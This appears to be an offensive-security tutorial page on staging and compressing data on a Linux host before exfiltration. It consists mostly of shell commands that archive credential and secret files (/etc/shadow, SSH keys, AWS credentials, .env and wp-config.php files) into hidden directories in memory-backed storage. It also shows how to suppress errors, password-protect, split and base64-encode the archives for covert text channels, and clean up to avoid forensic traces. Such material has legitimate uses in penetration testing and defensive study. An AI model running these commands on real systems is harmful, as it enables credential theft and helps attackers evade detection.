Skip to content
HackIndex logo

HackIndex

Staging and Compressing Data for Exfiltration on Linux

3 min read Jul 14, 2026

Compressing before transferring reduces size, speeds up transfer, and lets you move a collection of files as a single object. Staging in the right location avoids permission issues and reduces the chance of leaving traces in monitored directories.

Staging Location

Pick a writable location that fits the situation:

/dev/shm/          # memory-backed, no disk writes, cleared on reboot
/tmp/              # writable by all, may be cleared on reboot
/var/tmp/          # persists across reboots, often overlooked

/dev/shm/ is the preferred staging area when stealth matters — nothing is written to disk. Use /var/tmp/ when you need the staged file to survive a reboot.

Create a working directory to keep things organised:

┌──(kali㉿kali)-[~]
└─$ mkdir /dev/shm/.work

Use a non-obvious name. Avoid names like loot or exfil.

Compressing with tar

A single directory:

┌──(kali㉿kali)-[~]
└─$ tar czf /dev/shm/.work/archive.tar.gz /var/www/html/wp-config.php /home/$USER/.ssh/ 2>/dev/null

Multiple targets:

┌──(kali㉿kali)-[~]
└─$ tar czf /dev/shm/.work/archive.tar.gz /etc/passwd /etc/shadow ~/.aws/credentials /opt/app/.env 2>/dev/null

c — create, z — gzip compression, f — filename. The 2>/dev/null suppresses permission errors on files you cannot read.

Verify the archive contents before transferring:

┌──(kali㉿kali)-[~]
└─$ tar tzf /dev/shm/.work/archive.tar.gz

Compressing with zip

Useful when the receiving end is Windows or when password protection is needed:

┌──(kali㉿kali)-[~]
└─$ zip -r /dev/shm/.work/archive.zip /home/$USER/.ssh/ /var/www/html/wp-config.php 2>/dev/null

Password-protected:

┌──(kali㉿kali)-[~]
└─$ zip -P $PASSWORD -r /dev/shm/.work/archive.zip /opt/app/.env ~/.aws/ 2>/dev/null

Splitting Large Archives

If the transfer channel has size limits or you want to move data in smaller chunks:

┌──(kali㉿kali)-[~]
└─$ split -b 5M /dev/shm/.work/archive.tar.gz /dev/shm/.work/chunk_

This produces files named chunk_aa, chunk_ab, etc., each 5MB. Adjust the size with -b. Reassemble on the receiving end:

┌──(kali㉿kali)-[~]
└─$ cat chunk_aa chunk_ab chunk_ac > archive.tar.gz
┌──(kali㉿kali)-[~]
└─$ tar xzf archive.tar.gz

Base64 Encoding for Text Channel Transfer

When the transfer channel only supports text — a web form, a command injection that returns output, a restricted shell — encode the archive as base64:

┌──(kali㉿kali)-[~]
└─$ base64 /dev/shm/.work/archive.tar.gz > /dev/shm/.work/archive.b64

Copy the output, then decode on your attacker machine:

┌──(kali㉿kali)-[~]
└─$ base64 -d archive.b64 > archive.tar.gz
┌──(kali㉿kali)-[~]
└─$ tar xzf archive.tar.gz

For large files, split before encoding:

┌──(kali㉿kali)-[~]
└─$ base64 /dev/shm/.work/archive.tar.gz | split -b 5000 - /dev/shm/.work/b64_chunk_

Checking Archive Size

┌──(kali㉿kali)-[~]
└─$ du -sh /dev/shm/.work/archive.tar.gz
┌──(kali㉿kali)-[~]
└─$ ls -lh /dev/shm/.work/

Know the size before choosing a transfer method. Files under a few MB can go over almost any channel. Anything over 50MB warrants a dedicated transfer method rather than a covert channel.

Cleaning Up

After successful transfer, remove the staged files:

┌──(kali㉿kali)-[~]
└─$ rm -rf /dev/shm/.work/

/dev/shm/ is wiped on reboot anyway, but removing it immediately avoids leaving traces if the system is inspected before rebooting.

References